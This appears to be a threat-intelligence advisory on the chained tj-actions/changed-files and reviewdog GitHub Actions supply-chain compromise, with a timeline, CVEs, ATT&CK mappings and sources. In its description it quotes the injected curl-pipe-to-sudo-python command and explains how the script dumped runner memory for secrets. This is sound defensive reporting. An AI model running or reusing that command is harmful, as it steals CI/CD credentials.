# GitHub Actions Supply Chain Attack: tj-actions & reviewdog Compromise (CVE-2025-30066, CVE-2025-30154)

> A months-long GitHub Actions supply-chain compromise leaked a maintainer PAT from spotbugs/sonar-findbugs via a poisoned-pipeline-execution PR, used it to hijack reviewdog/action-setup and several downstream reviewdog actions, then rode that into tj-actions/eslint-changed-files to steal a PAT for tj-actions/changed-files. The attacker first used the access for a narrow, failed strike on Coinbase's coinbase/agentkit repo, then within two hours re-tagged all tj-actions/changed-files versions (v1-v45.0.7) to a malicious commit that dumped GitHub Actions runner process memory and printed double-base64-encoded secrets into public workflow logs, exposing CI/CD credentials across roughly 218 of the 23,000+ dependent repositories.

- **Published:** 2026-08-24T00:00:00Z
- **Last reviewed:** 2026-10-16T22:55:52.546Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2130
- **ID:** TL-2026-2130
- **Severity:** CRITICAL (CVSS 8.6)
- **Category:** SUPPLY_CHAIN
- **Status:** PATCHED
- **Detections:** 9 · **IOCs:** 29 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2025-30066, CVE-2025-30154

## Description

This campaign is a chained GitHub Actions supply-chain compromise tracked as CVE-2025-30066 (tj-actions/changed-files) and CVE-2025-30154 (reviewdog/action-setup and its dependents), both rated CVSS 3.1 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) under CWE-506 (Embedded Malicious Code), and both added to the CISA Known Exploited Vulnerabilities catalog.

Root cause and initial access: on 2024-11-28 a spotbugs/sonar-findbugs maintainer (SPTBGS_MNTNR) added a personal access token (PAT) to a repository workflow. On 2024-12-06 an attacker submitted malicious pull request #1116 that abused the `pull_request_target` trigger (a well-known GitHub Actions poisoned-pipeline-execution, PPE, class of bug) by modifying the `mvnw` wrapper file in a fork; when CI executed it, the maintainer's PAT was exfiltrated via a workflow artifact encrypted with an attacker-controlled RSA key so only the attacker could decrypt it.

Lateral movement to reviewdog: on 2025-03-11 at 10:50 UTC the attacker used the stolen PAT to invite a disposable account, jurkaofavak, to spotbugs/spotbugs with write access. Two minutes later that account pushed a short-lived branch (hewrkbwkyk) that encrypted and exfiltrated repository secrets the same way, this time capturing the reviewdog maintainer's (RD_MNTNR) PAT, which had access to both spotbugs/spotbugs and reviewdog/action-setup. Starting 17:06 UTC the attacker (via disposable fork account iLrmKCu86tjwp8) pushed 13 malicious commits to a reviewdog/action-setup fork and 15 to a reviewdog/action-typos fork, then repointed the reviewdog/action-setup v1 tag to a malicious commit at 18:42-20:31 UTC. Because tag updates are not recorded in GitHub audit logs on free-tier repos and fork commits appear as "dangling" references, this stayed largely invisible.

Escalation to tj-actions and Coinbase targeting: tj-actions/eslint-changed-files depends on reviewdog/action-setup@v1, so its own CI runs then executed the malicious code and leaked a GitHub token with write access to tj-actions/changed-files. Two more disposable accounts appeared: 2ft2dKo28UazTZ (2025-03-12 15:28 UTC) forked Coinbase's onchainkit, agentkit, and x402 repos and experimented with tj-actions/changed-files tag v39, the exact tag referenced by coinbase/agentkit's changelog.yml workflow; mmvojwip (2025-03-13 20:36 UTC) created further coinbase/agentkit forks and repointed workflow references to a dangling commit disguised as github-actions[bot]. On 2025-03-14 at 15:10 UTC the attacker obtained a token with write access to coinbase/agentkit and triggered the targeted payload; Coinbase's maintainer deleted the vulnerable changelog.yml workflow at 16:37 UTC, roughly 87 minutes later, and Coinbase confirmed no assets were impacted.

Broad campaign: at 16:57 UTC that same day, roughly two hours after the Coinbase attempt, the attacker overrode every git tag on tj-actions/changed-files (v1 through v45.0.7) to point at malicious commit 0e58ed8671d6b60d0890c21b07f8835ace038e67, disguised to look like a renovate[bot] contribution. The injected code ran `curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`, a script that scans `/proc/[pid]/cmdline` to find the Runner.Worker process, reads `/proc/[pid]/mem`, extracts JSON objects flagged `"isSecret":true`, and prints them as double-base64-encoded strings directly into the (often public) workflow log. StepSecurity's Harden-Runner flagged the anomalous outbound connection to gist.githubusercontent.com the same evening; GitHub took the tj-actions/changed-files repository down around 10:30 UTC on 2025-03-15, deleted the exfiltration gist, and restored the repo with the malicious code removed by 22:00 UTC, shipping patched release v46.0.1. Although the action was used by 23,000+ repositories, deeper analysis found only about 218 public repositories actually leaked secrets in their logs. Attribution is unresolved: the attacker cleaned up by getting GitHub to auto-hide their disposable accounts (invalid/disposable emails) and, per Unit 42, it remains an open question why an operation this patient and well-resourced blew its cover by printing secrets into public logs rather than exfiltrating covertly.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1195.001 Compromise Software Dependencies and Development Tools
- T1199 Trusted Relationship
- T1059.006 Python
- T1136.003 Cloud Account
- T1036 Masquerading
- T1003.007 Proc Filesystem
- T1057 Process Discovery
- T1550.001 Application Access Token
- T1005 Data from Local System
- T1132.001 Standard Encoding
- T1567.001 Exfiltration to Code Repository
- T1195.002 Supply Chain Compromise
- T1078 Valid Accounts
- T1059.004 Command and Scripting Interpreter
- T1027.010 Obfuscated Files or Information
- T1552.007 Unsecured Credentials
- T1528 Steal Application Access Token
- T1105 Ingress Tool Transfer

## Sources

- [GitHub Actions Supply Chain Attack(s): tj-actions & reviewdog](https://www.hunters.security/en/blog/github-actions-supply-chain-attack)
- [Supply Chain Compromise of Third-Party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154)](https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction)
- [GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident](https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/)
- [GitHub Action tj-actions/changed-files supply chain attack](https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066)
- [New GitHub Action supply chain attack: reviewdog/action-setup](https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup)
- [Harden-Runner detection: tj-actions/changed-files action is compromised](https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised)
- [Popular GitHub Action tj-actions/changed-files is compromised](https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/)
- [tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs (GHSA-mrrh-fwg8-r2c3)](https://github.com/advisories/GHSA-mrrh-fwg8-r2c3)
- [Multiple Reviewdog actions were compromised during a specific time period (GHSA-qmg3-hpqr-gqvc)](https://github.com/advisories/GHSA-qmg3-hpqr-gqvc)
- [NVD - CVE-2025-30066](https://nvd.nist.gov/vuln/detail/CVE-2025-30066)
- [NVD - CVE-2025-30154](https://nvd.nist.gov/vuln/detail/CVE-2025-30154)
- [Coinbase was primary target of recent GitHub Actions breaches](https://www.bleepingcomputer.com/news/security/coinbase-was-primary-target-of-recent-github-actions-breaches/)
- [Coinbase Initially Targeted in GitHub Actions Supply Chain Attack; 218 Repositories' CI/CD Secrets Exposed](https://thehackernews.com/2025/03/github-supply-chain-breach-coinbase.html)
- [GitHub restores code following malicious changes to tj-actions tool](https://therecord.media/github-restores-code-malicious-tj-actions-changes)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2130